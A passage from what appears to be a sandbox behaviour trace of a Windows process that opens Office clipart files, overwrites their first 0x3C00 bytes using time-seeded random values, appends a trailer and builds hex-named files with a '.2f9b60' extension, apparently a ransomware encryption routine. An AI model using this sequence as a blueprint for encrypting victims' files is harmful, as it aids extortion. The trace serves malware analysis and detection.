RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa70 [0210.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0210.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0210.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0210.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0210.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa9a0 [0210.479] sprintf (in: _Dest=0x1b7aa9a0, _Format="%c%c" | out: _Dest="0d") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9a2, _Format="%c%c" | out: _Dest="ca") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9a4, _Format="%c%c" | out: _Dest="17") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9a6, _Format="%c%c" | out: _Dest="8d") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9a8, _Format="%c%c" | out: _Dest="c5") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9aa, _Format="%c%c" | out: _Dest="1f") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9ac, _Format="%c%c" | out: _Dest="a5") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9ae, _Format="%c%c" | out: _Dest="7e") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9b0, _Format="%c%c" | out: _Dest="c7") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9b2, _Format="%c%c" | out: _Dest="0d") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9b4, _Format="%c%c" | out: _Dest="e2") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9b6, _Format="%c%c" | out: _Dest="21") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9b8, _Format="%c%c" | out: _Dest="52") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9ba, _Format="%c%c" | out: _Dest="5d") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9bc, _Format="%c%c" | out: _Dest="2e") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9be, _Format="%c%c" | out: _Dest="e5") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9c0, _Format="%c%c" | out: _Dest="c4") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9c2, _Format="%c%c" | out: _Dest="08") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9c4, _Format="%c%c" | out: _Dest="69") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9c6, _Format="%c%c" | out: _Dest="0e") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9c8, _Format="%c%c" | out: _Dest="e3") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9ca, _Format="%c%c" | out: _Dest="66") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9cc, _Format="%c%c" | out: _Dest="bf") returned 2 [0210.479] sprintf (in: _Dest=0x1b7aa9ce, _Format="%c%c" | out: _Dest="9c") returned 2 [0210.479] RtlInitAnsiString (in: DestinationString=0x4020fce8, SourceString="0dca178dc51fa57ec70de221525d2ee5c408690ee366bf9c" | out: DestinationString="0dca178dc51fa57ec70de221525d2ee5c408690ee366bf9c") [0210.479] RtlAnsiStringToUnicodeString (in: DestinationString=0x4020fcb8, SourceString="0dca178dc51fa57ec70de221525d2ee5c408690ee366bf9c", AllocateDestinationString=1 | out: DestinationString="0dca178dc51fa57ec70de221525d2ee5c408690ee366bf9c") returned 0x0 [0210.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319fd70 [0210.480] wcscat (in: _Dest=0x431873a0, _Source="0dca178dc51f" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0dca178dc51f") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0dca178dc51f" [0210.480] wcscat (in: _Dest=0x431873a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0dca178dc51f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0dca178dc51f.2f9b60" [0210.480] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0dca178dc51f.2f9b60", NtPathName=0x4020fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0dca178dc51f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0210.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43118220 Thread: id = 2731 os_tid = 0x2318 [0157.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) [0199.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF", dwFileAttributes=0x20) returned 1 [0237.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) Thread: id = 2732 os_tid = 0x231c [0157.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) [0204.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF", dwFileAttributes=0x20) returned 1 [0204.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ce4 [0204.104] GetFileSizeEx (in: hFile=0x2ce4, lpFileSize=0x3dabfc20 | out: lpFileSize=0x3dabfc20*=37390) returned 1 [0204.104] SetFilePointerEx (in: hFile=0x2ce4, liDistanceToMove=0x920a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.104] ReadFile (in: hFile=0x2ce4, lpBuffer=0x3dabfba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3dabfbe8, lpOverlapped=0x0 | out: lpBuffer=0x3dabfba0*, lpNumberOfBytesRead=0x3dabfbe8*=0x4, lpOverlapped=0x0) returned 1 [0204.856] SetFilePointerEx (in: hFile=0x2ce4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0204.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba60 [0204.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1a0 [0204.857] NtQuerySystemTime (in: CurrentTime=0x3dabfae0 | out: CurrentTime=0x3dabfae0*=132462178097182000) returned 0x0 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x79855db3 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x1f833ac8 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x564b1a6e [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x6216696b [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x716aa5fd [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x5528af4f [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0xf57a693 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x50e35534 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x49c4d0c8 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x3376702e [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x592409a9 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x7f6b2379 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x323ac2a [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x5f14f9b7 [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0xcf688b [0204.857] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x1f833ac8 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x6f9b5b10 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x3c2f4d06 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x4fb8d9a4 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x49bf710e [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x50040210 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x5282c79 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x19c10c93 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x1549cf83 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x370d780e [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x44ac954f [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x202c7a86 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x6d4ea9ae [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x714a03c4 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x3f3f84d6 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x611763b5 [0204.858] RtlRandomEx (in: Seed=0x3dabfad0 | out: Seed=0x3dabfad0) returned 0x4f17bbfe [0204.869] SetFilePointerEx (in: hFile=0x2ce4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.869] ReadFile (in: hFile=0x2ce4, lpBuffer=0x41f2e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3dabfb40, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesRead=0x3dabfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.418] SetFilePointerEx (in: hFile=0x2ce4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0205.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0205.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ffd170 [0205.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0205.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0205.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0205.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.424] WriteFile (in: hFile=0x2ce4, lpBuffer=0x41ffd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3dabfb40, lpOverlapped=0x0 | out: lpBuffer=0x41ffd170*, lpNumberOfBytesWritten=0x3dabfb40*=0x3c00, lpOverlapped=0x0) returned 1 [0208.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ffd170) returned 1 [0208.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0208.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f6ee0 [0208.384] SetFilePointerEx (in: hFile=0x2ce4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0208.384] WriteFile (in: hFile=0x2ce4, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3dabfbf0, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x3dabfbf0*=0x10a, lpOverlapped=0x0) returned 1 [0210.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0210.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23d20 [0210.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0210.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a60) returned 1 [0210.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0210.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0210.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264410 [0210.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264410) returned 1 [0210.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23d20) returned 1 [0210.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0210.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa9a0 [0210.419] sprintf (in: _Dest=0x1b7aa9a0, _Format="%c%c" | out: _Dest="05") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9a2, _Format="%c%c" | out: _Dest="51") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9a4, _Format="%c%c" | out: _Dest="87") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9a6, _Format="%c%c" | out: _Dest="6b") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9a8, _Format="%c%c" | out: _Dest="c8") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9aa, _Format="%c%c" | out: _Dest="e5") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9ac, _Format="%c%c" | out: _Dest="27") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9ae, _Format="%c%c" | out: _Dest="b5") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9b0, _Format="%c%c" | out: _Dest="26") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9b2, _Format="%c%c" | out: _Dest="9f") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9b4, _Format="%c%c" | out: _Dest="ea") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9b6, _Format="%c%c" | out: _Dest="2e") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9b8, _Format="%c%c" | out: _Dest="6a") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9ba, _Format="%c%c" | out: _Dest="5f") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9bc, _Format="%c%c" | out: _Dest="59") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9be, _Format="%c%c" | out: _Dest="30") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9c0, _Format="%c%c" | out: _Dest="26") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9c2, _Format="%c%c" | out: _Dest="54") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9c4, _Format="%c%c" | out: _Dest="34") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9c6, _Format="%c%c" | out: _Dest="a6") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9c8, _Format="%c%c" | out: _Dest="09") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9ca, _Format="%c%c" | out: _Dest="1f") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9cc, _Format="%c%c" | out: _Dest="7a") returned 2 [0210.419] sprintf (in: _Dest=0x1b7aa9ce, _Format="%c%c" | out: _Dest="e8") returned 2 [0210.419] RtlInitAnsiString (in: DestinationString=0x3dabfc68, SourceString="0551876bc8e527b5269fea2e6a5f5930265434a6091f7ae8" | out: DestinationString="0551876bc8e527b5269fea2e6a5f5930265434a6091f7ae8") [0210.419] RtlAnsiStringToUnicodeString (in: DestinationString=0x3dabfc38, SourceString="0551876bc8e527b5269fea2e6a5f5930265434a6091f7ae8", AllocateDestinationString=1 | out: DestinationString="0551876bc8e527b5269fea2e6a5f5930265434a6091f7ae8") returned 0x0 [0210.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430ea2b0 [0210.420] wcscat (in: _Dest=0x43186e00, _Source="0551876bc8e5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0551876bc8e5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0551876bc8e5" [0210.420] wcscat (in: _Dest=0x43186e00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0551876bc8e5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0551876bc8e5.2f9b60" [0210.420] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0551876bc8e5.2f9b60", NtPathName=0x3dabfc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0551876bc8e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0210.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43117b60 Thread: id = 2733 os_tid = 0x2320 [0157.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) [0199.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF", dwFileAttributes=0x20) returned 1 [0237.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) Thread: id = 2734 os_tid = 0x2324 [0157.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) [0204.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF", dwFileAttributes=0x20) returned 1 [0204.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc0 [0204.106] GetFileSizeEx (in: hFile=0x1bc0, lpFileSize=0x4032fc00 | out: lpFileSize=0x4032fc00*=18194) returned 1 [0204.106] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x470e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.106] ReadFile (in: hFile=0x1bc0, lpBuffer=0x4032fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4032fbc8, lpOverlapped=0x0 | out: lpBuffer=0x4032fb80*, lpNumberOfBytesRead=0x4032fbc8*=0x4, lpOverlapped=0x0) returned 1 [0204.156] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa50 [0204.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0204.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b680 [0204.159] NtQuerySystemTime (in: CurrentTime=0x4032fac0 | out: CurrentTime=0x4032fac0*=132462178092502000) returned 0x0 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x43f0db41 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x39109528 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x339005f [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x138cdc32 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x2018843d [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x32af82b2 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x2ad9bc1d [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x78368111 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x53e4bb2f [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x1cd0e709 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x72be439 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x23283a6b [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x794fc11d [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x3823658 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x78b5b8da [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x6e7e2835 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x2645cae0 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x4518eb4f [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x7ee9f3c0 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x54a2bcd7 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x142da9ea [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x3465fc84 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x7f064631 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x4df5fcd8 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x2018843d [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x24fb5eb0 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x45c7e393 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x6280001f [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x7fb0d758 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x7e5425e9 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x20d12276 [0204.159] RtlRandomEx (in: Seed=0x4032fab0 | out: Seed=0x4032fab0) returned 0x96eb5f0 [0204.167] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.167] ReadFile (in: hFile=0x1bc0, lpBuffer=0x429409e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4032fb20, lpOverlapped=0x0 | out: lpBuffer=0x429409e0*, lpNumberOfBytesRead=0x4032fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0204.244] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0204.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0204.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa50 [0204.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa50) returned 1 [0204.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20419710 [0204.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aa50 [0204.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420538e0 [0204.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420538e0) returned 1 [0204.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0204.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0204.248] WriteFile (in: hFile=0x1bc0, lpBuffer=0x20419710*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4032fb20, lpOverlapped=0x0 | out: lpBuffer=0x20419710*, lpNumberOfBytesWritten=0x4032fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0208.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20419710) returned 1 [0208.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429409e0) returned 1 [0208.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8940 [0208.025] SetFilePointerEx (in: hFile=0x1bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0208.026] WriteFile (in: hFile=0x1bc0, lpBuffer=0x431f0840*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x4032fbd0, lpOverlapped=0x0 | out: lpBuffer=0x431f0840*, lpNumberOfBytesWritten=0x4032fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0209.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0209.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0209.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420524d0 [0209.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420524d0) returned 1 [0209.697] RtlAllocateHeap (HeapHandle=0xa0000, 